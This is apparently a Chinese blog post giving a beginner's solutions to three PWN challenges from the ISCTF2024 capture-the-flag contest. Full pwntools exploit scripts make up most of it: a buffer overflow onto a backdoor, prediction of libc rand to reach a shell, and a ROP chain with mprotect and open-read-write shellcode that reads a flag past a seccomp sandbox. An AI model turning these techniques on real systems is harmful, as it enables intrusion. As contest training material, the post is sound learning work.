怀有一颗学徒的心。|

K4N0

园龄:4个月粉丝:1关注:8

ISCTF2024比赛PWN题前三题题解

萌新第一次发布题解,如有错误还请各位大佬指出。


本次比赛个人pwn出题情况,还是太菜了,后面四题基本看不懂

girlfriend

解题思路:

利用填充覆盖检查位置,绕过前面admin检查,进入vuln函数,经过动调发现,每次数据存放位置,从而达到提权

解题过程

image
存在后门函数


read可以读取0x30大小,观察buf


发现0x28是s1也就是要填充admin的位置

攻击代码
payload = 0x28 * b'\x00'
payload += b'admin'
p.sendafter(b'team id', payload)

进入vuln函数,发现是一个循环读取
image
image
动调后第一次输入,内容为12345678即0xbc614e,看到存放地址为0x7ffe130d96e0

image
第二次输入,存放地址在加8的位置
image
返回地址是9718,根据循环,发现第8次输入的时候,刚好会覆盖到返回地址上,

疑问脚本执行的时候,循环写入1就不行,但是尝试6就可以打通,还请佬们指点一下
破案了,这里输入会覆盖循环次数,也就是i,所以,大小要限定咋5-6,小了会从这个数字从新开始,大了会报错,感谢师傅们的指点

脚本

from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
# p = remote('27.25.151.12' , 25490)
payload = 0x28 * b'\x00'
payload += b'admin'
p.sendafter(b'team id', payload)

#gdb.attach(p , 'b *0x04012A7\nc')
#pause()

for i in range(6):
	p.recvuntil(b'birthday\n')
 	p.sendline(b'6')

payload = b'4198939'
p.sendlineafter(b'birthday\n' , payload)
# gdb.attach(p)
p.interactive()

ez_game

解题思路:

利用libc生成的固定随机数,进行循环写入,从而getshell

这题卡了好久,试了各种方法,就是没想到会是用libc写,QAQ还是太菜了,一直想着用栈溢出覆盖种子或者泄露生成的随机数,甚至还试过覆盖循环,归零从而进入shell

解题过程

image
简单的代码分析,随机数种子为1,gets(v5),v5大小为400,也就是0x190,并不能造成溢出,或者覆盖吗,循环2w次后跳入shell

脚本

from pwn import *
import sys
from ctypes import *

elf = ELF("./pwn")
libc = cdll.LoadLibrary("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process(./pwn)
# p = remote('27.25.151.12',29676)

# gdb.attach(p)
# pause()
libc.srand(1)
result = [0] * 20001
for i in range(20001):
	result[i] = str(libc.rand() % 7 + 1)

payload = b'1'
p.sendlineafter(b'username: ' , payload)

for i in range(20001):
	p.sendline(result[i])

p.interactive()

ret2orw

解题思路:

泄露libc,开辟一块大小0x1000的地址,栈迁移,利用mproctext改写权限,写入orw的shellcode,读取flag

解题过程

根据题目名字以及init函数中seccop,判断题目开启沙箱
image
假后门,orw基本是禁用system以及execve
image

这里程序libc为2.34,本人使用的20.04,最高支持2.31并且报错,所以只能用22.04,这里报错内容问chat也行搞不定,有佬清楚,希望可以浇浇QAQ
image

dump沙箱
image
执行execve便直接杀死程序

泄露libc

点击查看代码
payload = 0x28 * b'a'
payload += p64(next(elf.search(asm('pop rdi; ret'),executable=True)))
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])  #puts_plt
payload += p64(elf.sym['main'])

p.sendlineafter(b'this?', payload)

libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8 , b'\x00')) - libc.sym['puts']
log.info('libc.address===>' + hex(libc.address))

创建地址,栈迁移,改写地址权限

点击查看代码
rw_addr = libc.address - 0x1000 #这里开辟一个0x1000大小的地址,用于改写权限
buff_addr = rw_addr  + 0x100 #这里是为了存放要读取的flag文件

#gdb.attach(p)
#pause()

payload = b' '
payload += 0x20 * b'a' + 0x8 * b'b'
payload += p64(next(libc.search(asm('pop rdi; ret'),executable=True)))
payload += p64(0)
payload += p64(next(libc.search(asm('pop rsi; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(libc.sym['read'])

payload += p64(next(libc.search(asm('pop rdi; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(next(libc.search(asm('pop rsi; ret'),executable=True)))
payload += p64(0x1000)
payload += p64(next(libc.search(asm('pop rdx; pop r12; ret'),executable=True)))
payload += p64(7)
payload += p64(0)
payload += p64(libc.sym['mprotect'])

payload += p64(next(libc.search(asm('pop rax; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(next(libc.search(asm('call rax;'),executable=True)))
p.sendlineafter(b'this?', payload)

ORW的shellcode

点击查看代码
shellcode = shellcode =  asm("""
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
""")

完整exp

点击查看代码
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
#p = process("./pwn")
p  = remote('27.25.151.12',25063)

payload = 0x28 * b'a'
payload += p64(next(elf.search(asm('pop rdi; ret'),executable=True)))
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])  #puts_plt
payload += p64(elf.sym['main'])

p.sendlineafter(b'this?', payload)

libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8 , b'\x00')) - libc.sym['puts']
log.info('libc.address===>' + hex(libc.address))

rw_addr = libc.address - 0x1000
buff_addr = rw_addr  + 0x100

#gdb.attach(p)
#pause()

payload = b' '
payload += 0x20 * b'a' + 0x8 * b'b'
payload += p64(next(libc.search(asm('pop rdi; ret'),executable=True)))
payload += p64(0)
payload += p64(next(libc.search(asm('pop rsi; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(libc.sym['read'])

payload += p64(next(libc.search(asm('pop rdi; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(next(libc.search(asm('pop rsi; ret'),executable=True)))
payload += p64(0x1000)
payload += p64(next(libc.search(asm('pop rdx; pop r12; ret'),executable=True)))
payload += p64(7)
payload += p64(0)
payload += p64(libc.sym['mprotect'])

payload += p64(next(libc.search(asm('pop rax; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(next(libc.search(asm('call rax;'),executable=True)))
p.sendlineafter(b'this?', payload)

shellcode = shellcode =  asm("""
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
""")
p.send(shellcode)

p.interactive()

比赛总结

这次比赛,发现自己还是很菜,所以路还很长,但是已经可以出分了,虽然都是简单题和背板题,但是有点开心,但是后面四题我相信在佬看来也很简单,所以还要更加努力,提升自己,争取下次出更多的分数

本文作者:K4N0

本文链接:https://www.cnblogs.com/K4N0/p/18548427

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   K4N0  阅读(259)  评论(0编辑  收藏  举报
//雪花飘落效果
  1. 1 III Athletics
III - Athletics
00:00 / 00:00
An audio error has occurred.
评论
收藏
关注
推荐
深色
回顶
收起
点击右上角即可分享
微信分享提示